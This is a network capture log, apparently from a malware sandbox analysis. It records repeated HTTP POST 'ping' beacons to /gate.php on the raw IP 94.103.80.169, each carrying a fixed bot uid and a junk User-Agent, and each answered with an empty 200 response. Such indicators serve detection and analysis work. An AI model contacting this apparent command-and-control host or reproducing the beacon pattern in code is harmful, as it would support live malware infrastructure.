Aug 15, 2021 08:41:29.998630047 CEST	7570	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:29 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:30.117327929 CEST	7570	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:30.145984888 CEST	7570	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:30 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:30.266320944 CEST	7570	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:30.295480013 CEST	7571	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:30 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:30.407059908 CEST	7571	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:30.437087059 CEST	7571	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:30 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:30.547710896 CEST	7571	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:30.577460051 CEST	7571	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:30 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:30.689320087 CEST	7572	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:30.724085093 CEST	7572	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:30 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:30.845515966 CEST	7572	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:30.877758980 CEST	7572	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:30 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:30.986499071 CEST	7573	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:31.016500950 CEST	7573	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:30 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:31.125696898 CEST	7573	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:31.157535076 CEST	7573	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:31 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:31.267107964 CEST	7574	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:31.299623966 CEST	7574	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:31 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:31.407644033 CEST	7574	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:31.436254978 CEST	7574	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:31 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:31.547473907 CEST	7575	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:31.577574968 CEST	7575	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:31 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:31.694520950 CEST	7575	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:31.724661112 CEST	7575	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:31 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:31.845343113 CEST	7575	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:31.873574018 CEST	7576	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:31 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:31.986738920 CEST	7576	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:32.017416000 CEST	7576	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:32 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:32.131488085 CEST	7576	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:32.161737919 CEST	7577	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:32 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:32.282960892 CEST	7577	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:32.311850071 CEST	7577	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:32 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:32.422581911 CEST	7577	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:32.450871944 CEST	7578	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:32 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:32.563899994 CEST	7578	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:32.592959881 CEST	7578	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:32 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:32.704591990 CEST	7578	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:32.732373953 CEST	7578	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:32 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:32.846467972 CEST	7579	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:32.874214888 CEST	7579	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:32 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:32.985490084 CEST	7579	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:33.014182091 CEST	7579	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:32 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:33.126281977 CEST	7580	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:33.156846046 CEST	7580	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:33 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:33.266243935 CEST	7580	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:33.294946909 CEST	7580	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:33 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:33.427385092 CEST	7581	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:33.455549002 CEST	7581	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:33 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:33.565370083 CEST	7581	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:33.595383883 CEST	7581	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:33 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:33.733690977 CEST	7582	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:33.764555931 CEST	7582	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:33 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:33.876316071 CEST	7582	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:33.907006979 CEST	7582	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:33 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:34.016551018 CEST	7582	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:34.045164108 CEST	7583	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:34 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:34.157865047 CEST	7583	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:34.186908007 CEST	7583	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:34 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:34.298474073 CEST	7583	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:34.326220989 CEST	7584	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:34 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:34.439127922 CEST	7584	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:34.466850042 CEST	7584	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:34 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:34.623728991 CEST	7584	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:34.651345968 CEST	7585	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:34 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:34.766340017 CEST	7585	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:34.795511961 CEST	7585	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:34 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:34.925777912 CEST	7585	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:34.960199118 CEST	7585	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:34 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:35.080219984 CEST	7586	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:35.108684063 CEST	7586	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:35 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:35.220974922 CEST	7587	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:35.251565933 CEST	7587	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:35 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:35.361156940 CEST	7593	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:35.391781092 CEST	7594	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:35 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:35.505480051 CEST	7596	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:35.534225941 CEST	7597	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:35 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:35.656791925 CEST	7598	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:35.685606956 CEST	7598	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:35 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:35.801090002 CEST	7598	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:35.829612970 CEST	7598	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:35 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:35.944547892 CEST	7599	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:35.974486113 CEST	7599	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:35 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:36.096313000 CEST	7599	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:36.124401093 CEST	7599	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:36 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:36.236061096 CEST	7600	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:36.264789104 CEST	7600	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:36 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:36.376727104 CEST	7600	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:36.405467987 CEST	7600	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:36 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:36.516910076 CEST	7600	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:36.545325041 CEST	7601	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:36 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:36.657167912 CEST	7601	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:36.685103893 CEST	7601	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:36 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:36.798264980 CEST	7601	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:36.828035116 CEST	7602	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:36 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:36.938472033 CEST	7602	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:36.966784000 CEST	7604	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:36 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:37.082228899 CEST	7605	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:37.113262892 CEST	7605	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:37 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:37.224112034 CEST	7611	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:37.252360106 CEST	7612	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:37 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:37.360704899 CEST	7612	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:37.390271902 CEST	7612	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:37 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:37.503911972 CEST	7613	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:37.532056093 CEST	7613	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:37 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:37.644288063 CEST	7613	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:37.673245907 CEST	7614	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:37 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:37.786103010 CEST	7614	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:37.816118956 CEST	7614	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:37 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:37.933557034 CEST	7614	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:37.962193966 CEST	7614	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:37 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:38.079906940 CEST	7615	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:38.109641075 CEST	7615	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:38.220885038 CEST	7615	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:38.248995066 CEST	7615	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:38.361381054 CEST	7616	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:38.390398979 CEST	7616	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:38.501970053 CEST	7616	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:38.531258106 CEST	7616	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:38.643055916 CEST	7617	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:38.671427011 CEST	7617	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:38.783716917 CEST	7617	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:38.812885046 CEST	7617	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
